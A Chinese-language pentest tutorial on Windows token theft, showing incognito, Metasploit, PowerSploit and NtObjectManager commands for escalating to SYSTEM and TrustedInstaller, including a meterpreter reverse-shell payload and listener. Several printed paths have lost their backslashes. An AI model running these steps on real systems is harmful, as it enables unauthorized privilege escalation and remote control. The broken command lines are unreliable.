在之前的文章《渗透技巧——程序的降权启动》介绍了使用SelectMyParent降权的方法,本质上是通过token窃取实现的。这一次将要对token窃取和利用做进一步介绍,测试常用工具,分享利用技巧。
本文将要介绍以下内容;
Windows有两种类型的Token:
注:
两种token只在系统重启后清除
具有Delegation token
的用户在注销后,该Token将变成Impersonation token
,依旧有效
使用Testa
登录后注销,再使用administrator
登录
查看token:
incognito.exe list_tokens -u
能够获取到已注销用户Testa
的token,如下图
利用该token执行calc.exe:
incognito.exe execute -c "TESTa" calc.exe
后台显示进程calc.exe的用户名为a
,如下图
在Metasploit中,可使用incognito实现token窃取,常用命令如下:
加载incognito:load incognito
列举token:list_tokens -u
查看当前token:getuid
提示至system权限:getsystem
token窃取:impersonate_token "NT AUTHORITY\SYSTEM"
从进程窃取:steal_token 1252
返回之前token:rev2self
or drop_token
Client:
msfpayload -p windows/meterpreter/reverse_tcp LHOST=192.168.81.142 LPORT=44444 X >test.exe
Server:
use exploit/multi/handler
set payload windows/meterpreter/reverse_tcp
set LPORT 44444
set LHOST 192.168.81.142
exploit
执行getsystem
获得system权限
pid 1252的权限为当前用户,执行steal_token 1252
, 将权限切换到WIN-R7MM90ERBMDa
如下图
执行impersonate_token "NT AUTHORITY\SYSTEM"
将权限切换至system
注:
需要加引号和双斜杠,"NT AUTHORITY\SYSTEM"
执行rev2self
返回之前token,为WIN-R7MM90ERBMDa
如下图
通过以上演示,成功通过token窃取实现权限切换
Metasploit中的incognito,是从windows平台下的incognito移植过来的,下面介绍一下windows平台下的incognito
下载地址:
https://labs.mwrinfosecurity.com/assets/BlogFiles/incognito2.zip
参考手册:
http://labs.mwrinfosecurity.com/assets/142/mwri_security-implications-of-windows-access-tokens_2008-04-14.pdf
常见用法如下:
列举token:incognito.exe list_tokens -u
复制token:incognito.exe execute [options] <token> <command>
列举token:
incognito.exe list_tokens -u
如下图
提权至system:
incognito.exe execute -c "NT AUTHORITYSYSTEM" cmd.exe
如下图
降权至当前用户:
incognito.exe execute -c "WIN-R7MM90ERBMDa" cmd.exe
伪造用户:
incognito.exe execute -c "WIN-R7MM90ERBMDb" cmd.exe
如下图
下载地址:
https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-TokenManipulation.ps1
原理和功能同incognito类似,能够实际提权和降权
列举token:Invoke-TokenManipulation -Enumerate
提权至system:Invoke-TokenManipulation -CreateProcess "cmd.exe" -Username "nt authoritysystem"
复制进程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId 500
复制线程token:Invoke-TokenManipulation -CreateProcess "cmd.exe" -ThreadId 500
还有更多用法可参考该脚本说明
实际测试略
在Windows系统中,即使获得了管理员权限和system权限,也不能修改系统文件
因为Windows系统的最高权限为TrustedInstaller
例如路径C:Windowsservicing
使用system权限无法在该路径创建文件
如下图
查看文件夹属性,显示system不具有写入权限,只有TrustedInstaller
可以
如下图
关于如何获得TrustedInstaller权限,可参考James Forshaw的这篇文章,很值得学习
https://tyranidslair.blogspot.nl/2017/08/the-art-of-becoming-trustedinstaller.html
这里对其中的一个实例做测试,进而找到其他实现方法
启动TrustedInstaller服务会启动进程TrustedInstaller.exe,位置为C:WindowsservicingTrustedInstaller.exe
,查看该程序权限:
Get-Acl -Path C:WindowsservicingTrustedInstaller.exe |select Owner
显示为NT SERVICETrustedInstaller
,如下图
James Forshaw的实现思路为借用TrustedInstaller.exe的token创建子进程,这样子进程就有了TrustedInstaller权限,具体powershell代码如下:
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
powershell默认不支持Set-NtTokenPrivilege
命令,该模块需要下载安装
下载地址:
https://www.powershellgallery.com/packages/NtObjectManager/1.1.1
安装命令:
Save-Module -Name NtObjectManager -Path c:test
Install-Module -Name NtObjectManager
注:
Save-Module需要powershell v5.0支持,详情见:
https://docs.microsoft.com/zh-cn/powershell/gallery/readme
因此测试系统选为Win10,默认powershell版本为5.0
导入该模块需要系统允许执行powershell脚本,因此先执行如下代码:
Set-ExecutionPolicy Unrestricted
导入模块NtObjectManager:
Import-Module NtObjectManager
执行命令测试:
sc.exe start TrustedInstaller
Set-NtTokenPrivilege SeDebugPrivilege
$p = Get-NtProcess -Name TrustedInstaller.exe
$proc = New-Win32Process cmd.exe -CreationFlags NewConsole -ParentProcess $p
使用whoami查看当前cmd权限:
whoami /groups /fo list
发现当前cmd.exe在TrustedInstaller组里,成功获得TrustedInstaller权限
如下图
接着按照James Forshaw文章中更新的内容,学习了Vincent Yiu@vysecurity的方法,使用metasploit下的incognito也能够获得TrustedInstaller权限
地址如下:
https://twitter.com/vysecurity/status/899303538630774787
思路如下:
使用以下命令:
按照这个思路,猜测使用SelectMyParent和Invoke-TokenManipulation.ps1也能获得TrustedInstaller权限
下面验证我们的判断
1、SelectMyParent
sc start TrustedInstaller
SelectMyParent.exe cmd.exe 1700
新的cmd.exe拥有TrustedInstaller权限
2、Invoke-TokenManipulation.ps1
添加如下代码即可:
sc.exe start TrustedInstaller
$id = Get-Process -name TrustedInstaller* | Select-Object id | ForEach-Object -Process{$_.id}
Invoke-TokenManipulation -CreateProcess "cmd.exe" -ProcessId $id
注:
sc这个命令不能直接在powershell里面运行,powershell会把它当作set-content的别名,可使用sc.exe在powershell里面运行sc命令
1、对特殊路径写文件
例如C:Windowsservicing
,如下图
2、使用powershell
Get-Acl -Path C:WindowsservicingTrustedInstaller.exe |select Owner
回显为NT SERVICETrustedInstaller
3、使用whoami
whoami /groups | findstr TrustedInstaller
查看是否有回显
本文介绍了token窃取的实现方法,使用多种工具来获得system权限和TrustedInstaller权限。